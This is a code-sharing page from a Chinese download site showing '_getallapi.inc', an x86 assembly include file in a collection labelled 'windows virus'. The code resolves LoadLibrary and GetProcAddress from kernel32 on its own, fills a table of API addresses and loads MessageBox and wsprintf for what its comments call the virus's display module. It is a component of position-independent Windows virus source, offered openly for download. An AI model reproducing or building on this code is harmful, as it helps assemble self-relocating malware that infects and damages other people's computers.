⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 _getallapi.inc

📁 windows virus
💻 INC
字号:
;###########################################################################
;#			加载所有要使用的API函数				   #
;###########################################################################

		;###########################################
		;#  得到kernel32.dll中的核心函数	   #
		;#  =>	LoadLibrary 与 GetProcAddress	   #
		;###########################################
		LEA		EDX , [EBX + _GetKernelApi]
		
		LEA		EAX , [EBX + G_szLoadLibrary]
		PUSH		EAX
		CALL		EDX
		MOV		[EBX + G_pLoadLibrary ] , EAX
		
		LEA		EAX , [EBX + G_szGetProcAddress]
		PUSH		EAX
		CALL		EDX
		MOV		[EBX + G_pGetProcAddress ] , EAX

		;###########################################
		;#  由核心函数加载所有需要的函数	   #
		;#  由 G_ApiNameArray指向的所有API函数	   #
		;#  并存入 G_ApiAddressArray 指向地址中	   #
		;###########################################
		PUSH		D_NumberOfApis
		POP		ECX
		MOV		EDX , ESI
		LEA		ESI , [EBX + G_ApiNameArray]
		LEA		EDI , [EBX + G_ApiAddressArray]
	@@:
		PUSH		ECX
		PUSH		EDX
		MOV		EAX , [ESI]
		ADD		EAX , EBX
		PUSH		EAX
		PUSH		EDX
		CALL		[EBX + G_pGetProcAddress]
		MOV		[EDI] , EAX
		ADD		ESI , 4
		ADD		EDI , 4
		POP		EDX
		POP		ECX
		LOOPNZ		@B
		;###########################################
		;#  加载病毒表现模块用到的API		   #
		;###########################################
		LEA		EAX , [EBX + G_szUser32]
		PUSH		EAX
		CALL		[EBX + G_pLoadLibrary]
		
		LEA		EDX , [EBX + G_szWsprintf]
		PUSH		EDX
		PUSH		EAX
			
		LEA		EDX , [EBX + G_szMessageBox]
		PUSH		EDX
		PUSH		EAX
		
		CALL		[EBX + G_pGetProcAddress]	
		Mov		[EBX + G_pMessageBox] , EAX
	
		CALL		[EBX + G_pGetProcAddress]
		MOV		[EBX + G_pWSprintf] , EAX
;###########################################################################
;#			加载所有API结束					   #
;###########################################################################

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -